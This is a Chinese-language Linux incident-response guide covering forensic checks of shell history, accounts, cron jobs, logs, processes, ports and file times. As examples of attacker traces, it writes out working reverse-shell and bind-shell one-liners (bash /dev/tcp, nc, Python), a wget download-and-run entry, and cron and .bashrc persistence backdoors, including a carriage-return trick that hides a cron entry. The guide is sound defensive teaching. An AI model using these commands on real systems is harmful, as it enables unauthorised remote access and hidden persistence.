Linux 事件調查 (Linux Incident Investigation / Incident Response) 是指在被入侵的Linux系統上找到被駭客攻擊的活動,常見的分析方向如下
- 檢查歷史命令
- 檢查帳號
- 檢查排程
- 檢查敏感目錄
- 檢查登入記錄
- 檢查開機啟動檔
- 檢查日志
- 檢查行程
- 检查Port
- 檢查檔案時間
- 其他輔助工具檢查
檢查歷史命令
下載惡意腳本
如下,可以看到root用戶執行wget等指令,初步判定攻擊者登入該root帳號
208 pwd
209 wget --help
210 wget https://www.12345678.com/soft/serv.sh -o serv.sh
211 ls
212 ls
213 bash serv.sh
213 crontab -e
214 echo * 1 * * * wget https://www.12345678.com/soft/serv.sh -o serv.sh >> /etc/crontab
215 crontab -l
反向連接
舉例如下,黑客使用bash做反向連接
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
以下是用PYTHON做反向連接
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
將shell升級成好用的模式
python -c 'import pty; pty.spawn("/bin/bash")'
檢查帳號
1. 查詢特權用戶(uid 為0),查看是否新增異常帳號。awk -F: '$3==0{print $1}' /etc/passwd
2. 查詢可以遠端登入的帳號訊息,駭客用來遠端登入的帳號。awk '/\$1|\$6/{print $1}' /etc/shadow
3. 除root帳號外,檢查其他帳號是否存在sudo權限。more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL) "
如非管理需要,普通帳號應刪除sudo權限
檢查排程
Crontab -L
舉例如下,檢查相關指令發現該目標被入侵,可以看到每天1點會被安裝腳本,並執行 serv.sh
# crontab -l
* * * * * pi serv || nohup /tmp/axe/serv > /dev/null 2>&1 &
* 1 * * * wget https://www.12345678.com/soft/serv.sh -o serv.sh >> /etc/crontab
* 1 * * * sudo bash serv.sh 9999
攻擊者有時會在排程加後門指令,如下
echo "* * * * * bash -i >& /dev/tcp/192.168.1.10/5555 0>&1" |crontab -
比較進階的還會做一些變化,增加後門的隱密性,如下
(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab -
這在一些舊版linux下,root執行crontab -l 能模擬沒有任何排程的訊息,顯示no crontab for root
不過在很多新的Linux下,crontab -l 會自動過濾或正規化換行與不可見字元,或者它本身是把整行當文字讀取,然後標準輸出,crontab -l 直接把整行秀出來,不像 echo 或 printf 那樣解析 \r。而且新的crontab -l 輸出也不一定走透過 TTY,可以是直寫到 stdout(非交互式模式),所以那個 \r(Carriage Return)就沒辦法影響行首的輸出結果了。就會把這完整的惡意排程展示出來
如果不確定輸出結果是否有問題,可用此語法cat -A /var/spool/cron/root
檢查root的排程,這是 root 使用者的 crontab 文件所在位置,存儲著 root 使用者所有排程任務
檢查排程相關檔案
需要檢查的排程相關檔案如下
/var/spool/cron/*
存放每個用戶的crontab任務,*是用戶名稱 /etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
檢查敏感目錄
按時間找敏感目錄是否有新增指令
ls -alt /tmp | head -n 10
ls -alt /usr/bin | head -n 10
ls -alt /usr/sbin | head -n 10
檢查敏感目錄是否有隐藏文件:
ls -arlh /tmp
注意隐藏文件夹,以..
为名的文件夹具有隐藏属性
檢查登入記錄
在檢查的時候,如果駭客沒有上線,可以使用last指令檢查駭客什麼時間登入。不過如果駭客登入時將/var/log/wtmp檔案刪除或清空,這樣我們就無法使用last指令獲得有用的資訊了。
常用指令如下
last
查看最近登入成功的使用者及訊息
lastb -i
查看最近登入失敗的使用者及資訊:
lastlog
顯示所有使用者最近一次登入資訊
顯示logged in表示使用者仍在登入
pts表示從SSH遠端登入
tty表示從控制台登錄,就是在伺服器旁登錄
ssh表示從SSH遠端登入
檢查開機啟動檔
攻擊者有時會在開機檔案中加入後門指令,如下 echo "bash -i >& /dev/tcp/192.168.1.10/5555 0>&1" >> ~/.bashrc
常見的檢查如下
cat /etc/rc.local
ls -l /etc/init.d
ls -l /etc/rc.d/rc0.d/
ls -l /etc/rc.d/rc1.d/
ls -l /etc/rc.d/rc2.d/
ls -l /etc/rc.d/rc3.d/
ls -l /etc/rc.d/rc4.d/
ls -l /etc/rc.d/rc5.d/
ls -l /etc/rc.d/rc6.d/
檢查日志
/var/log/secure
日志記錄了驗證和授權方面的信息,只要涉及帳號和密碼的程式都會記錄,例如SSH登錄,su切換用戶,sudo授權,甚至添加用戶和修改用戶密碼都會記錄在這個日誌檔案中,常見的日志分析方向如下
檢查密碼爆破
查看有多少IP在爆破主機的root帳號
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
查看有哪些IP在爆破
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
檢查爆破用戶名字典
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
檢查成功登入
檢查登入成功的IP有哪些
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
檢查登入成功的時間用戶IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
檢查異常新增與刪除帳戶
舉例如下,檢查時發現增加了一個kali用戶,但又被刪除,需檢查是否為管理者操作,如果不是就是駭客行為
#grep "useradd" /var/log/secureJul
10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
# grep "userdel" /var/log/secure
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
檢查權限變換
檢查使用su切換用戶的記錄
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)
檢查使用sudo執行的記錄
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
檢查行程
ps aux
檢查process開始的時間和名稱,舉例如下
#ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 6666 0.0 0.0 168688 9688 ? Ss May28 0:02 /home/ubuntu/serv
表示/home/ubuntu/serv是在5/28啟動,Time的0:02不是運行多長時間而是CPU共花費多少時間來執行指令 。如果管理員不知道該process,可能是駭客行為
也可以透過這個方式查看process啟動時間點ps -p 6666 -o lstart
異常PID可檢查原始可執行文件
#ls -l /proc/6666/exe
lrwxrwxrwx. 1 root root 0 May 31 16:00 /proc/6666/exe -> /path/to/executable
異常PID可檢查PID文件類型
#file /proc/6666/exe
/proc/6666/exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, for GNU/Linux 3.2.0, BuildID[sha1]=…
pstree
檢查是否有異常的名稱與PID,舉例如下,發現sshd – bash – malicious_script.sh 惡意腳本
#pstree -p
systemd(1)─┬─apache2(789)─┬─apache2(790)
│ └─apache2(791)
├─cron(123)
├─dbus-daemon(456)
├─sshd(800)─┬─sshd(801)─┬─bash(802)───my_malware(803)
│ │ └─sshd(804)─┬─bash(805)───top(806)
│ │ └─bash(807)───malicious_script.sh(808)
│ └─sshd(809)─┬─bash(810)───(sleep)(811)
│ └─bash(812)
├─php-fpm(900)─┬─php-fpm(901)
│ └─php-fpm(902)
└─2*[getty(567)]
lsof
用lsof顯示PID所打開的所有文件和網絡連接,舉例如下
# lsof -p 1234
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
my_malware 1234 root cwd DIR 8,1 4096 131073 /
my_malware 1234 root txt REG 8,1 512000 789012 /tmp/evil_payload
my_malware 1234 root 3u IPv4 23456 0t0 TCP 192.168.1.100:4444->10.0.0.5:80 (ESTABLISHED)
my_malware 1234 root 4u REG 8,1 123456 987654 /var/log/my_server.log
用lsof顯示異常process所打開的所有文件和網絡連接,舉例如下
# lsof -c serv
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
serv 1234 root cwd DIR 8,1 4096 131073 /
serv 1234 root txt REG 8,1 512000 789012 /tmp/backdoor (deleted)
serv 1234 root mem REG 8,1 116544 131652 /usr/lib/x86_64-linux-gnu/libc.so.6
serv 1234 root 0u CHR 1,3 0t0 9 /dev/null
serv 1234 root 1u CHR 1,3 0t0 9 /dev/null
serv 1234 root 2u CHR 1,3 0t0 9 /dev/null
serv 1234 root 3u IPv4 23456 0t0 TCP *:12345 (LISTEN)
serv 1234 root 4u IPv4 67890 0t0 TCP 192.168.1.100:54321->203.0.113.10:80 (ESTABLISHED)
serv 1234 root 5w REG 8,1 12345 987654 /var/log/serv.log
检查Port
netstat -antlp | more
如果發現有可疑port,檢查相對的pid
用lsof顯示異常port所打開的所有文件和網絡連接,舉例如下
# lsof -i :22
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 1001 root 3u IPv4 12345 0t0 TCP *:ssh (LISTEN)
sshd 1001 root 4u IPv6 12346 0t0 TCP *:ssh (LISTEN)
sshd 1005 root 3u IPv4 12347 0t0 TCP 192.168.1.100:ssh->192.168.1.1:54321 (ESTABLISHED)
sshd 1005 root 4u IPv6 12348 0t0 TCP [::1]:ssh->[::1]:54322 (ESTABLISHED)
檢查檔案時間
根據異常的時間,尋找最近幾天被動過的檔案
find常用參數
-atime 檔案訪問時間
-mtime 檔案內容修改時間
-ctime 檔案狀態修改時間(文件權限,所有者/群,文件大小等,當文件內容發生改變ctime也會變)
ps:
要注意:系統進程/腳本存取文件,atime/mtime/ctime也會跟著修改,不一定是人為的修改才會被記錄
ps:
注意要去掉/sys/fs、 /run/udev、/sys/kernel 之類開頭的檔案
查找前2天,那一天被修改的檔案,find / -mtime 2 -ls | more
尋找一天內被修改的檔案 :find / -mtime -1 -ls | more
尋找50天前被修改的檔案 :find ./ -mtime +50 -ls
其他輔助工具檢查
unhide
一套開源工具的集合,專門用於檢測和揭示隱藏的進程、文件、端口和網絡連接
Rootkit Hunter
簡稱 rkhunter,是一個開源的 Unix-based 工具,專門設計用於掃描系統以檢測是否存在 Rootkit、後門 (backdoors) 和其他惡意軟體或潛在的安全漏洞
Lynis
是一個非常全面的 Linux 安全審計工具。它執行數百項測試來檢查系統是否存在配置錯誤、過時的軟件、安全漏洞、不安全的權限等等。
參考文章
https://www.freebuf.com/vuls/280991.html
https://www.365seal.com/y/75pADNX4Vo.html Linux应急响应入门——入侵排查
https://www.jianshu.com/p/afc845cf9cc9 Linux应急响应入门——入侵排查